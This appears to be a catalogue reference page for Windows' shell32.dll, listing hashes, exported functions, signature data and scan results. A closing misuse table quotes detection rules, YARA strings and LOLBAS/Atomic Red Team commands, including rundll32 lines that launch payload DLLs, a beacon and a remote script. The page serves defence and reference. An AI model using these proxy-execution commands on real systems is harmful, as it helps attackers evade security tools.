shell32.dll

>> File Path: `C:\Windows\SysWOW64\shell32.dll`

>> Description: Windows Shell Common Dll

Hashes

Type	Hash
MD5	`65DA072F25DE83D9F83653E3FEA3644D`
SHA1	`51A222C8D9CD2E1372EADFD3E817BE490C76D990`
SHA256	`6E5DC1215721F2A9613AB776A532B9F361FD5CB7EBB97AAD7CC9038E908BE9B3`
SHA384	`8741B88CD499AAE330458BA5051C0FB3721CB6B4571DB74600633A3D4C1459AC74DBF90F6B66C60A534CC574A76548C4`
SHA512	`6DD8D638F9F1150CB9ACA42A17BC6CDE64A99E7AE49F2866F3F327118D196738F02D9DAFB569F5E7DCF0D8174C0D5FDD05D10115E6530BCF43AD8F22EE513D0B`
SSDEEP	`98304:dRyeuv/NLIhpn78N1HrukS2xE3fhZ/wmfBuJtpeIuiruN:ONOpn7u4ZIMmtpFyN`
IMP	`0D2910927D65B5393CCB1FB2A9A5A5CD`
PESHA1	`D1A96F4555110B054BA24ED85270B994DBCE7AE6`
PE256	`55D2B275E79DD223F772EA9AF6F88B5B12599ACD297B1715D8D514B1D2EB6590`

DLL Exports:

Function Name	Ordinal	Type
`ShellAboutW`	567	Exported Function
`ShellExec_RunDLL`	568	Exported Function
`ShellExec_RunDLLA`	569	Exported Function
`ShellAboutA`	566	Exported Function
`Shell_NotifyIconA`	580	Exported Function
`Shell_NotifyIconGetRect`	581	Exported Function
`Shell_NotifyIconW`	582	Exported Function
`ShellExecuteExW`	574	Exported Function
`ShellExecuteW`	575	Exported Function
`ShellHookProc`	576	Exported Function
`ShellExecuteExA`	573	Exported Function
`ShellExec_RunDLLW`	570	Exported Function
`ShellExecuteA`	571	Exported Function
`ShellExecuteEx`	572	Exported Function
`Shell_NotifyIcon`	579	Exported Function
`SHELL32_SimpleRatingToFilterCondition`	472	Exported Function
`SHELL32_StampIconForFile`	473	Exported Function
`SHELL32_SuspendUndo`	474	Exported Function
`SHELL32_SHUICommandFromGUID`	468	Exported Function
`SHELL32_SHOpenWithDialog`	466	Exported Function

SHELL32_ShowHideIconOnlyOnDesktop	471	Exported Function
SHELL32_SHStartNetConnectionDialogW	467	Exported Function
Shell_GetCachedImageIndexW	578	Exported Function
Shell_GetImageLists	71	Exported Function
Shell_MergeMenus	67	Exported Function
Shell_GetCachedImageIndexA	577	Exported Function
SHELL32_TryVirtualDiscImageDriveEject	475	Exported Function
SHELL32_VerifySaferTrust	476	Exported Function
Shell_GetCachedImageIndex	72	Exported Function
ShellMessageBoxA	183	Exported Function
SHGetDataFromIDListA	489	Exported Function
SHGetDataFromIDListW	490	Exported Function
SHGetDesktopFolder	491	Exported Function
SHGetAttributesFromDataObject	750	Exported Function
SHFormatDrive	487	Exported Function
SHFree	195	Exported Function
SHFreeNameMappings	488	Exported Function
SHGetFileInfo	496	Exported Function
SHGetFileInfoA	497	Exported Function
SHGetFileInfoW	498	Exported Function
SHGetDriveMedia	495	Exported Function
SHGetDiskFreeSpaceA	492	Exported Function
SHGetDiskFreeSpaceExA	493	Exported Function
SHGetDiskFreeSpaceExW	494	Exported Function
SHFlushSFCache	526	Exported Function
SHEnumerateUnreadMailAccountsW	480	Exported Function
SheSetCurDrive	565	Exported Function
SHEvaluateSystemCommandTemplate	481	Exported Function
SHEnableServiceObject	479	Exported Function
ShellMessageBoxW	182	Exported Function
SHEmptyRecycleBinA	477	Exported Function
SHEmptyRecycleBinW	478	Exported Function
SHFileOperationW	486	Exported Function
SHFind_InitMenuPopup	149	Exported Function
SHFindFiles	90	Exported Function
SHFileOperationA	485	Exported Function
SHExecuteErrorMessageBox	482	Exported Function
SHExtractIconsW	483	Exported Function
SHFileOperation	484	Exported Function
SHELL32_SHLogILFromFSIL	465	Exported Function
SHELL32_IconCache_DoneExtractingIcons	431	Exported Function
SHELL32_IconCache_ExpandEnvAndSearchPath	432	Exported Function
SHELL32_IconCache_RememberRecentlyExtractedIconsW	433	Exported Function
SHELL32_IconCache_AboutToExtractIcons	430	Exported Function

SHELL32_GetThumbnailAdornerFromFactory	424	Exported Function
SHELL32_GetThumbnailAdornerFromFactory2	423	Exported Function
SHELL32_HandleUnrecognizedFileSystem	425	Exported Function
SHELL32_IconOverlayManagerInit	434	Exported Function
SHELL32_IsGetKeyboardLayoutPresent	435	Exported Function
SHELL32_IsSystemUpgradeInProgress	436	Exported Function
SHELL32_IconCacheRestore	429	Exported Function
SHELL32_IconCacheCreate	426	Exported Function
SHELL32_IconCacheDestroy	427	Exported Function
SHELL32_IconCacheHandleAssociationChanged	428	Exported Function
SHELL32_GetSqmableFileName	422	Exported Function
SHELL32_FreeEncryptedFileKeyInfo	412	Exported Function
SHELL32_GenerateAppID	413	Exported Function
SHELL32_GetAppIDRoot	414	Exported Function
SHELL32_EnumCommonTasks	411	Exported Function
SHELL32_DestroyLinkInfo	408	Exported Function
SHELL32_EncryptDirectory	409	Exported Function
SHELL32_EncryptedFileKeyInfo	410	Exported Function
SHELL32_GetIconOverlayManager	419	Exported Function
SHELL32_GetLinkInfoData	420	Exported Function
SHELL32_GetRatingBucket	421	Exported Function
SHELL32_GetFileNameFromBrowse	418	Exported Function
SHELL32_GetCommandProviderForFolderType	415	Exported Function
SHELL32_GetDiskCleanupPath	417	Exported Function
SHELL32_GetDPIAdjustedLogicalSize	416	Exported Function
SHELL32_IsValidLinkInfo	437	Exported Function
SHELL32_SHCreateDefaultContextMenu	455	Exported Function
SHELL32_SHCreateLocalServer	456	Exported Function
SHELL32_SHCreateShellFolderView	457	Exported Function
SHELL32_SHCreateByValueOperationInterrupt	454	Exported Function
SHELL32_SendToMenu_InvokeTargetedCommand	469	Exported Function
SHELL32_SendToMenu_VerifyTargetedCommand	470	Exported Function
SHELL32_SHAddSparseIcon	453	Exported Function
SHELL32_SHGetUserNameW	462	Exported Function
SHELL32_SHIsVirtualDevice	463	Exported Function
SHELL32_SHLaunchPropSheet	464	Exported Function
SHELL32_SHGetThreadUndoManager	461	Exported Function
SHELL32_SHDuplicateEncryptionInfoFile	458	Exported Function
SHELL32_SHEncryptFile	459	Exported Function
SHELL32_SHFormatDriveAsync	460	Exported Function
SHELL32_ResolveLinkInfoW	452	Exported Function
SHELL32_NormalizeRating	442	Exported Function
SHELL32_NotifyLinkTrackingServiceOfMove	443	Exported Function
SHELL32_PifMgr_CloseProperties	444	Exported Function

SHELL32_LookupFrontIconIndex	441	Exported Function
SHELL32_LegacyEnumSpecialTasksByType	438	Exported Function
SHELL32_LegacyEnumTasks	439	Exported Function
SHELL32_LookupBackIconIndex	440	Exported Function
SHELL32_Printjob_GetPidl	449	Exported Function
SHELL32_PurgeSystemIcon	450	Exported Function
SHELL32_RefreshOverlayImages	451	Exported Function
SHELL32_Printers_CreateBindInfo	448	Exported Function
SHELL32_PifMgr_GetProperties	445	Exported Function
SHELL32_PifMgr_OpenProperties	446	Exported Function
SHELL32_PifMgr_SetProperties	447	Exported Function
SHSimpleIDListFromPath	162	Exported Function
SHStartNetConnectionDialogW	14	Exported Function
SHTestTokenMembership	245	Exported Function
SHShowManageLibraryUI	559	Exported Function
SHSetTemporaryPropertyForItem	557	Exported Function
SHSetUnreadMailCountW	558	Exported Function
SHShellFolderView_Message	73	Exported Function
SignalFileOpen	103	Exported Function
StateRepoNewMenuCache_EnsureCacheAsync	583	Exported Function
StateRepoNewMenuCache_RebuildCacheAsync	584	Exported Function
SHValidateUNC	173	Exported Function
SHUpdateImageA	191	Exported Function
SHUpdateImageW	192	Exported Function
SHUpdateRecycleBinIcon	560	Exported Function
SHSetLocalizedName	556	Exported Function
SHQueryUserNotificationState	551	Exported Function
SHRemoveLocalizedName	552	Exported Function
SHReplaceFromPropSheetExtArray	170	Exported Function
SHQueryRecycleBinW	550	Exported Function
SHPropStgReadMultiple	688	Exported Function
SHPropStgWriteMultiple	689	Exported Function
SHQueryRecycleBinA	549	Exported Function
SHSetFolderPathW	232	Exported Function
SHSetInstanceExplorer	176	Exported Function
SHSetKnownFolderPath	555	Exported Function
SHSetFolderPathA	231	Exported Function
SHResolveLibrary	553	Exported Function
SHRestricted	100	Exported Function
SHSetDefaultProperties	554	Exported Function
StgMakeUniqueName	682	Exported Function
StrRStrW	604	Exported Function
StrStrA	605	Exported Function
StrStrIA	606	Exported Function

StrRStrIW	603	Exported Function
StrRChrW	600	Exported Function
StrRStrA	601	Exported Function
StrRStrIA	602	Exported Function
Win32DeleteFile	164	Exported Function
WOWShellExecute	610	Exported Function
WriteCabinetState	652	Exported Function
WaitForExplorerRestartW	611	Exported Function
StrStrIW	607	Exported Function
StrStrW	608	Exported Function
UsersLibrariesFolderUI_CreateInstance	609	Exported Function
StrRChrIW	599	Exported Function
StrCmpNA	589	Exported Function
StrCmpNIA	590	Exported Function
StrCmpNIW	591	Exported Function
StrChrW	588	Exported Function
StrChrA	585	Exported Function
StrChrIA	586	Exported Function
StrChrIW	587	Exported Function
StrNCmpW	596	Exported Function
StrRChrA	597	Exported Function
StrRChrIA	598	Exported Function
StrNCmpIW	595	Exported Function
StrCmpNW	592	Exported Function
StrNCmpA	593	Exported Function
StrNCmpIA	594	Exported Function
SHPropStgCreate	685	Exported Function
SHGetNewLinkInfo	517	Exported Function
SHGetNewLinkInfoA	179	Exported Function
SHGetNewLinkInfoW	180	Exported Function
SHGetNameFromIDList	516	Exported Function
SHGetKnownFolderPath	513	Exported Function
SHGetLocalizedName	514	Exported Function
SHGetMalloc	515	Exported Function
SHGetPropertyStoreForWindow	529	Exported Function
SHGetPropertyStoreFromIDList	530	Exported Function
SHGetPropertyStoreFromParsingName	531	Exported Function
SHGetPathFromIDListW	528	Exported Function
SHGetPathFromIDList	518	Exported Function
SHGetPathFromIDListA	519	Exported Function
SHGetPathFromIDListEx	527	Exported Function
SHGetKnownFolderItem	512	Exported Function
SHGetFolderPathEx	503	Exported Function
SHGetFolderPathW	504	Exported Function

SHGetIconOverlayIndexA	506	Exported Function
SHGetFolderPathAndSubDirW	502	Exported Function
SHGetFolderLocation	499	Exported Function
SHGetFolderPathA	500	Exported Function
SHGetFolderPathAndSubDirA	501	Exported Function
SHGetItemFromDataObject	509	Exported Function
SHGetItemFromObject	510	Exported Function
SHGetKnownFolderIDList	511	Exported Function
SHGetInstanceExplorer	508	Exported Function
SHGetIconOverlayIndexW	507	Exported Function
SHGetIDListFromObject	505	Exported Function
SHGetImageList	727	Exported Function
SHGetRealIDL	98	Exported Function
SHLoadNonloadedIconOverlayIdentifiers	543	Exported Function
SHMapPIDLToSystemImageListIndex	77	Exported Function
SHMultiFileProperties	716	Exported Function
SHLoadInProc	542	Exported Function
SHInvokePrinterCommandW	540	Exported Function
SHIsFileAvailableOffline	541	Exported Function
SHLimitInputEdit	747	Exported Function
SHParseDisplayName	546	Exported Function
SHPathPrepareForWriteA	547	Exported Function
SHPathPrepareForWriteW	548	Exported Function
SHOpenWithDialog	545	Exported Function
SHObjectProperties	178	Exported Function
SHOpenFolderAndSelectItems	544	Exported Function
SHOpenPropSheetW	80	Exported Function
SHInvokePrinterCommandA	539	Exported Function
SHGetSpecialFolderPathA	534	Exported Function
SHGetSpecialFolderPathW	535	Exported Function
SHGetStockIconInfo	536	Exported Function
SHGetSpecialFolderLocation	533	Exported Function
SHGetSetFolderCustomSettings	709	Exported Function
SHGetSetSettings	68	Exported Function
SHGetSettings	532	Exported Function
SHHelpShortcuts_RunDLLA	229	Exported Function
SHHelpShortcuts_RunDLLW	238	Exported Function
SHILCreateFromPath	28	Exported Function
SHHelpShortcuts_RunDLL	228	Exported Function
SHGetTemporaryPropertyForItem	537	Exported Function
SHGetUnreadMailCountW	538	Exported Function
SHHandleUpdateImage	193	Exported Function
InternalExtractIconListW	309	Exported Function
IsDesktopExplorerProcess	942	Exported Function

IsLFNDrive	119	Exported Function
InternalExtractIconListA	308	Exported Function
ILRemoveLastID	17	Exported Function
ILSaveToStream	27	Exported Function
InitNetworkAddressControl	307	Exported Function
IsUserAnAdmin	680	Exported Function
LaunchMSHelp_RunDLLW	310	Exported Function
OpenAs_RunDLL	81	Exported Function
IsProcessAnExplorer	941	Exported Function
IsLFNDriveA	41	Exported Function
IsLFNDriveW	42	Exported Function
IsNetDrive	66	Exported Function
ILLoadFromStreamEx	846	Exported Function
ILCreateFromPath	157	Exported Function
ILCreateFromPathA	189	Exported Function
ILCreateFromPathW	190	Exported Function
ILCombine	25	Exported Function
ILAppendID	154	Exported Function
ILClone	18	Exported Function
ILCloneFirst	19	Exported Function
ILGetSize	152	Exported Function
ILIsEqual	21	Exported Function
ILIsParent	23	Exported Function
ILGetNext	153	Exported Function
ILFindChild	24	Exported Function
ILFindLastID	16	Exported Function
ILFree	155	Exported Function
OpenAs_RunDLLA	125	Exported Function
PrepareDiscForBurnRunDllW	135	Exported Function
PrintersGetCommand_RunDLL	138	Exported Function
PrintersGetCommand_RunDLLA	139	Exported Function
PifMgr_SetProperties	11	Exported Function
PifMgr_CloseProperties	13	Exported Function
PifMgr_GetProperties	10	Exported Function
PifMgr_OpenProperties	9	Exported Function
RealShellExecuteExA	207	Exported Function
RealShellExecuteExW	208	Exported Function
RealShellExecuteW	226	Exported Function
RealShellExecuteA	199	Exported Function
PrintersGetCommand_RunDLLW	150	Exported Function
ReadCabinetState	654	Exported Function
RealDriveType	524	Exported Function
PickIconDlg	62	Exported Function
Options_RunDLLW	313	Exported Function

PathCleanupSpec	171	Exported Function
PathGetShortPath	92	Exported Function
Options_RunDLLA	312	Exported Function
OpenAs_RunDLLW	133	Exported Function
OpenRegStream	85	Exported Function
Options_RunDLL	311	Exported Function
PathQualify	49	Exported Function
PathResolve	51	Exported Function
PathYetAnotherMakeUniqueName	75	Exported Function
PathMakeUniqueName	47	Exported Function
PathIsExe	43	Exported Function
PathIsSlowA	240	Exported Function
PathIsSlowW	239	Exported Function
GetSystemPersistedStorageItemList	919	Exported Function
CStorageItem_GetValidatedStorageItemObject	937	Exported Function
DAD_AutoScroll	129	Exported Function
DAD_DragEnterEx	131	Exported Function
CreateStorageItemFromShellItem_FullTrustCaller_UseImplicitFlagsAndPackage	931	Exported Function
CreateStorageItemFromShellItem_FullTrustCaller	921	Exported Function
CreateStorageItemFromShellItem_FullTrustCaller_ForPackage	925	Exported Function
CreateStorageItemFromShellItem_FullTrustCaller_ForPackage_WithProcessHandle	929	Exported Function
DAD_ShowDragImage	137	Exported Function
DllCanUnloadNow	277	Exported Function
DllGetActivationFactory	278	Exported Function
DAD_SetDragImage	136	Exported Function
DAD_DragEnterEx2	22	Exported Function
DAD_DragLeave	132	Exported Function
DAD_DragMove	134	Exported Function
CreateStorageItemFromPath_PartialTrustCaller	920	Exported Function
CDefFolderMenu_Create2	701	Exported Function
CheckEscapesW	269	Exported Function
CIDLData_CreateFromIDArray	83	Exported Function
AssocGetDetailsOfPropKey	268	Exported Function
AppCompat_RunDLLW	255	Exported Function
AssocCreateForClasses	263	Exported Function
AssocElemCreateForKey	267	Exported Function
Control_RunDLLW	276	Exported Function
CreateStorageItemFromPath_FullTrustCaller	935	Exported Function
CreateStorageItemFromPath_FullTrustCaller_ForPackage	936	Exported Function
Control_RunDLLAsUserW	275	Exported Function
CommandLineToArgvW	272	Exported Function
Control_RunDLL	273	Exported Function
Control_RunDLLA	274	Exported Function
DllGetClassObject	279	Exported Function

ExtractIconA	298	Exported Function
ExtractIconEx	299	Exported Function
ExtractIconExA	300	Exported Function
ExtractAssociatedIconW	297	Exported Function
ExtractAssociatedIconA	294	Exported Function
ExtractAssociatedIconExA	295	Exported Function
ExtractAssociatedIconExW	296	Exported Function
FreeIconList	305	Exported Function
GetCurrentProcessExplicitAppUserModelID	306	Exported Function
GetFileNameFromBrowse	63	Exported Function
FindExecutableW	304	Exported Function
ExtractIconExW	301	Exported Function
ExtractIconW	302	Exported Function
FindExecutableA	303	Exported Function
DuplicateIcon	293	Exported Function
DoEnvironmentSubstA	284	Exported Function
DoEnvironmentSubstW	285	Exported Function
DragAcceptFiles	286	Exported Function
DllUnregisterServer	283	Exported Function
DllGetVersion	280	Exported Function
DllInstall	281	Exported Function
DllRegisterServer	282	Exported Function
DragQueryFileW	291	Exported Function
DragQueryPoint	292	Exported Function
DriveType	64	Exported Function
DragQueryFileAorW	290	Exported Function
DragFinish	287	Exported Function
DragQueryFile	288	Exported Function
DragQueryFileA	289	Exported Function
SHELL32_CDBurn_IsBlankDisc2	365	Exported Function
SHELL32_CDBurn_IsLiveFS	367	Exported Function
SHELL32_CDBurn_OnDeviceChange	368	Exported Function
SHELL32_CDBurn_IsBlankDisc	366	Exported Function
SHELL32_CDBurn_GetLiveFSDiscInfo	362	Exported Function
SHELL32_CDBurn_GetStagingPathOrNormalPath	363	Exported Function
SHELL32_CDBurn_GetTaskInfo	364	Exported Function
SHELL32_CDefFolderMenu_MergeMenu	373	Exported Function
SHELL32_CDrives_CreateSFVCB	376	Exported Function
SHELL32_CDrivesContextMenu_Create	374	Exported Function
SHELL32_CDefFolderMenu_Create2Ex	372	Exported Function
SHELL32_CDBurn_OnEject	369	Exported Function
SHELL32_CDBurn_OnMediaChange	370	Exported Function
SHELL32_CDefFolderMenu_Create2	371	Exported Function
SHELL32_CDBurn_GetCDInfo	361	Exported Function

SheGetDirA	564	Exported Function
SHELL32_AddToBackIconTable	354	Exported Function
SHELL32_AddToFrontIconTable	355	Exported Function
SheChangeDirExW	563	Exported Function
SHDestroyPropSheetExtArray	169	Exported Function
SHDoDragDrop	88	Exported Function
SheChangeDirA	562	Exported Function
SHELL32_CDBurn_CloseSession	358	Exported Function
SHELL32_CDBurn_DriveSupportedForDataBurn	359	Exported Function
SHELL32_CDBurn_Erase	360	Exported Function
SHELL32_CCommonPlacesFolder_CreateInstance	357	Exported Function
SHELL32_AreAllItemsAvailable	356	Exported Function
SHELL32_CallFileCopyHooks	395	Exported Function
SHELL32_CanDisplayWin8CopyDialog	396	Exported Function
SHELL32_CDrivesDropTarget_Create	375	Exported Function
SHELL32_Create_IEnumUICommand	407	Exported Function
SHELL32_CreateConfirmationInterrupt	400	Exported Function
SHELL32_CreateConflictInterrupt	401	Exported Function
SHELL32_CPL_ModifyWowDisplayName	392	Exported Function
SHELL32_CopySecondaryTiles	399	Exported Function
SHELL32_CPL_CategoryIdArrayFromVariant	390	Exported Function
SHELL32_CPL_IsLegacyCanonicalNameListedUnderKey	391	Exported Function
SHELL32_CreateSharePointView	406	Exported Function
SHELL32_CRecentDocsContextMenu_CreateInstance	393	Exported Function
SHELL32_CTransferConfirmation_CreateInstance	394	Exported Function
SHELL32_CreateQosRecorder	405	Exported Function
SHELL32_CreateDefaultOperationDataProvider	402	Exported Function
SHELL32_CreateFileFolderContextMenu	403	Exported Function
SHELL32_CreateLinkInfoW	404	Exported Function
SHELL32_CommandLineFromMsiDescriptor	398	Exported Function
SHELL32_CLocationContextMenu_Create	381	Exported Function
SHELL32_CLocationFolderUI_CreateInstance	382	Exported Function
SHELL32_CloseAutoplayPrompt	397	Exported Function
SHELL32_CLibraryDropTarget_CreateInstance	380	Exported Function
SHELL32_CFillPropertiesTask_CreateInstance	379	Exported Function
SHELL32_CFSDropTarget_CreateInstance	377	Exported Function
SHELL32_CFSFolderCallback_Create	378	Exported Function
SHELL32_CMountPoint_WantAutorunUI	387	Exported Function
SHELL32_CMountPoint_WantAutorunUIGetReady	388	Exported Function
SHELL32_CNetFolderUI_CreateInstance	389	Exported Function
SHELL32_CMountPoint_ProcessAutoRunFile	386	Exported Function
SHELL32_CMountPoint_DoAutorun	383	Exported Function
SHELL32_CMountPoint_DoAutorunPrompt	384	Exported Function
SHELL32_CMountPoint_IsAutoRunDriveAndEnabledByPolicy	385	Exported Function

SHDefExtractIconW	6	Exported Function
SHChangeNotification_Lock	644	Exported Function
SHChangeNotification_Unlock	645	Exported Function
SHChangeNotify	328	Exported Function
SHBrowseForFolderW	327	Exported Function
SHBindToParent	324	Exported Function
SHBrowseForFolder	325	Exported Function
SHBrowseForFolderA	326	Exported Function
SHCloneSpecialIDList	89	Exported Function
SHCLSIDFromString	147	Exported Function
SHCoCreateInstance	102	Exported Function
SHChangeNotifySuspendResume	330	Exported Function
SHChangeNotifyDeregister	4	Exported Function
SHChangeNotifyRegister	2	Exported Function
SHChangeNotifyRegisterThread	329	Exported Function
SHBindToObject	323	Exported Function
SetCurrentProcessExplicitAppUserModelID	561	Exported Function
SHAddDefaultPropertiesByExt	316	Exported Function
SHAddFromPropSheetExtArray	167	Exported Function
RunAsNewUser_RunDLLW	315	Exported Function
RegenerateUserEnvironment	314	Exported Function
RestartDialog	59	Exported Function
RestartDialogEx	730	Exported Function
SHAssocEnumHandlersForProtocolByApplication	320	Exported Function
SHBindToFolderIDListParent	321	Exported Function
SHBindToFolderIDListParentEx	322	Exported Function
SHAssocEnumHandlers	319	Exported Function
SHAddToRecentDocs	317	Exported Function
SHAlloc	196	Exported Function
SHAppBarMessage	318	Exported Function
SHCoCreateInstanceWorker	331	Exported Function
SHCreateQueryCancelAutoPlayMoniker	348	Exported Function
SHCreateShellFolderView	256	Exported Function
SHCreateShellFolderViewEx	174	Exported Function
SHCreatePropSheetExtArray	168	Exported Function
SHCreateItemWithParent	345	Exported Function
SHCreateLocalServerRunDll	346	Exported Function
SHCreateProcessAsUserW	347	Exported Function
SHCreateShellItemArrayFromShellItem	353	Exported Function
SHCreateStdEnumFmtEtc	74	Exported Function
SHDefExtractIconA	3	Exported Function
SHCreateShellItemArrayFromIDLists	352	Exported Function
SHCreateShellItem	349	Exported Function
SHCreateShellItemArray	350	Exported Function

`SHCreateShellItemArrayFromDataObject`	351	Exported Function
`SHCreateItemInKnownFolder`	344	Exported Function
`SHCreateDefaultExtractIcon`	336	Exported Function
`SHCreateDefaultPropertiesOp`	337	Exported Function
`SHCreateDirectory`	165	Exported Function
`SHCreateDefaultContextMenu`	335	Exported Function
`SHCreateAssociationRegistration`	332	Exported Function
`SHCreateCategoryEnum`	333	Exported Function
`SHCreateDataObject`	334	Exported Function
`SHCreateItemFromIDList`	341	Exported Function
`SHCreateItemFromParsingName`	342	Exported Function
`SHCreateItemFromRelativeName`	343	Exported Function
`SHCreateFileExtractIconW`	743	Exported Function
`SHCreateDirectoryExA`	338	Exported Function
`SHCreateDirectoryExW`	339	Exported Function
`SHCreateDrvExtIcon`	340	Exported Function

Signature

- Status: Signature verified.
- Serial: `3300000266BD1580EFA75CD6D3000000000266`
- Thumbprint: `A4341B9FD50FB9964283220A36A1EF6F6FAA7840`
- Issuer: CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
- Subject: CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

File Metadata

- Original Filename: SHELL32.DLL
- Product Name: Microsoft Windows Operating System
- Company Name: Microsoft Corporation
- File Version: 10.0.19041.488 (WinBuild.160101.0800)
- Product Version: 10.0.19041.488
- Language: English (United States)
- Legal Copyright: Microsoft Corporation. All rights reserved.
- Machine Type: 32-bit

File Scan

- VirusTotal Detections: 0/69
- VirusTotal Link: https://www.virustotal.com/gui/file/6e5dc1215721f2a9613ab776a532b9f361fd5cb7ebb97aad7cc9038e908be9b3/detection/

Possible Misuse

*The following table contains possible examples of `shell32.dll` being misused. While `shell32.dll` is **not** inherently malicious, its legitimate functionality can be abused for malicious purposes.*

Source	Source File	Example
sigma	win invoke obfuscation via rundll services security.yml	`- 'shell32.dll'`
sigma	win invoke obfuscation via use rundll32 services security.yml	`- 'shell32.dll'`
sigma	proc creation win impacket lateralization.yml	`# runs %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {c08afd90-f2a1-11d1-8455-00a0c91f3880} but parent command is explorer.exe`
sigma	proc creation win outlook shell.yml	`# - 'shell32.dll,Control_RunDLL'`
sigma	proc creation win susp control dll load.yml	`CommandLine|contains: 'Shell32.dll'`
sigma	proc creation win susp rundll32 activity.yml	`- 'shell32.dll'`
sigma	proc creation win susp target location shell32.yml	`title: Shell32 DLL Execution in Suspicious Directory`
sigma	proc creation win susp target location shell32.yml	`description: Detects shell32.dll executing a DLL in a suspicious directory`
sigma	proc creation win susp target location shell32.yml	`- 'shell32.dll'`
LOLBAS	Shell32.yml	`Name: Shell32.dll`
LOLBAS	Shell32.yml	`- Command: rundll32.exe shell32.dll,Control_RunDLL payload.dll`
LOLBAS	Shell32.yml	`- Command: rundll32.exe shell32.dll,ShellExec_RunDLL beacon.exe`
LOLBAS	Shell32.yml	`- Command: rundll32 SHELL32.DLL,ShellExec_RunDLL "cmd.exe" "/c echo hi"`
LOLBAS	Shell32.yml	`- Path: c:\windows\system32\shell32.dll`
LOLBAS	Shell32.yml	`- Path: c:\windows\syswow64\shell32.dll`
LOLBAS	Shell32.yml	`- Link: https://windows10dll.nirsoft.net/shell32_dll.html`
malware-ioc	misp-dukes-operation-ghost-event.json	`"description": "The rundll32.exe program can be called to execute an arbitrary bir Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe fo normal operations.\n\nRundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> a <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32 to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct' </code> This behavior has been seen used by malware such as Poweliks. (Citation: Th is Security Command Line Confusion)",`
malware-ioc	misp_invisimole.json	`"description": "The rundll32.exe program can be called to execute an arbitrary bir Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe fo normal operations.\n\nRundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> a <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32 to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct' </code> This behavior has been seen used by malware such as Poweliks. (Citation: Th is Security Command Line Confusion)",`
malware-ioc	win apt invisimole sminit chain.yml	`- 'rundll32.exe shell32.dll,ShellExec_RundDLL'`
malware-ioc	win apt invisimole wdigest chain.yml	`CommandLine|contains: 'rundll32.exe Shell32.dll ShellExec_RunDLL cmd.exe /c mkdir SMRTNTKY\MessageB.txt'`
atomic-red-team	T1218.010.md	copy “C:\Windows\System32\shell32.dll” “#{dll_file}”
atomic-red-team	T1218.011.md	Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions `Control_RunDLL` and `Control_RunDLLAsUser`. Double-clicking a .cpl file als causes rundll32.exe to execute. (Citation: Trend Micro CPL)

atomic-red-team	T1218.011.md	rundll32.exe shell32.dll,Control_RunDLL #{input_file}
signature-base	apt apt6 malware.yar	$s10 = "IconFile=C:\WINDOWS\system32\SHELL32.dll" fullword ascii
signature-base	apt four element sword.yar	$s3 = "SHELL32.dll" fullword ascii /* Goodware String - occured 3233 times */
signature-base	apt stuxnet.yar	$x1 = "SHELL32.DLL.ASLR." fullword wide
signature-base	apt wildneutron.yar	$x1 = "RunFile: couldn't load SHELL32.DLL!" ascii wide /* PEStudio Blacklist: strings // score: '27.00'
signature-base	apt wildneutron.yar	$x2 = "RunFile: couldn't find ShellExecuteExA/W in SHELL32.DLL!" fullword ascii /* PEStudio Blacklist: strings // score: '35.00' */
signature-base	apt wildneutron.yar	$s0 = "RunFile: couldn't find ShellExecuteExA/W in SHELL32.DLL!" fullword ascii /* PEStudio Blacklist: strings // score: '35.00' */
signature-base	apt wildneutron.yar	$s3 = "RunFile: couldn't load SHELL32.DLL!" fullword ascii /* PEStudio Blacklist: strings // score: '27.
signature-base	crime icedid.yar	$string7 = "SHELL32.dll" fullword
signature-base	exploit uac elevators.yar	$s6 = "shell32.dll" wide
signature-base	gen cn hacktools.yar	$s8 = "SHELL32.DLL" fullword ascii